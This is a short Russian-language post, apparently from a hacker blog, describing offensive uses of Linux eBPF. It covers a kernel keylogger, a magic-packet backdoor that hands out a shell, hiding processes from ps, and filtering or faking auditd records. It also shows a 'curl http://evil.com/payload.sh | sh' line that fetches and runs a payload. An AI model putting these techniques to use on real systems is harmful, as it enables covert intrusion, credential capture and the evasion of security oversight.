$USERNAME@hacker.wtf - part 10*
*
Хотя eBPF изначально это tracing (perf, bpftrace) / networking (XDP) / security (Cilium) для нас eBPF = возможность запускать свои грязные лапы по средствам программ прямо в
kernel space . Влияние на ядро без модулей !
Вся безопасность на eBPF verifier - он вроде как должен гарантировать что: нет выхода за границы, нет произвольной записи в память, нет kernel corruption и прочего непотребства.
verifier можно сломать !
verifier можно обойти !
*
CAP_BPF / CAP_SYS_ADMIN
Неочевидный кейс
### Если процесс имеет:
CAP_BPF
### или
CAP_SYS_ADMIN
##check
getcap -r / 2>/dev/null
То можно загружать eBPF программы, влиять на систему. И это не баг, а штатное поведение.
*
*
Кейлоггер в ядре
eBPF цепляется к:
sys_read
tty_read
input subsystem
И всё ! весь ввод теперь наш. нет процесса, нет бинаря, нет демона, все в kernel.
*
*
Invisible backdoor и network hook
eBPF можно повесить на socket или на tcp connect или XDP (уровень сетевухи), ииии если послать magic packet (например "0xproxybar") можно ыполнить действие (шелл отдать или payload запустить), порт не открыт, netstat ничего не показывает, firewall чист, а backdoor есть.
*
*
userspace rootkit без LKM
Концепт таков: перехватывает
sys_getdents (это syscall который делает ls), если имя нашего процесса evil - не возвращаем его в список/В итоге
ps aux грустит, а evil живет свою жизнь. *
*
Bypass audit / logging
Если запустить
/tmp/evil.sh произойдет цепочка:userspace > вызывает syscall (execve) > kernel обрабатывает syscall > auditd получает событие > поздравляю вы в танцах в логах
eBPF нужно вклинить между syscall и логированием, а именно через:
kprobe или tracepoint или LSM hooks.
Если eBPF висит на execve, можно фильтровать событий ДО логирования.
Или частая тема с сокрытием аргументов - запустили curl
http://evil.com/payload.sh | sh а eBPF делает execve("/usr/bin/curl", "safe args")Или что называется selective stealth, можно же не отключать всё, а только конкретные процессы \ команды \ UIDы:
если uid == 1000 > в логи
если uid == 1337 > в null
В Linux можно не маскировать действия, достаточно скрыть факт, что они вообще были.
#РубрикаНаЗаметкуХакеру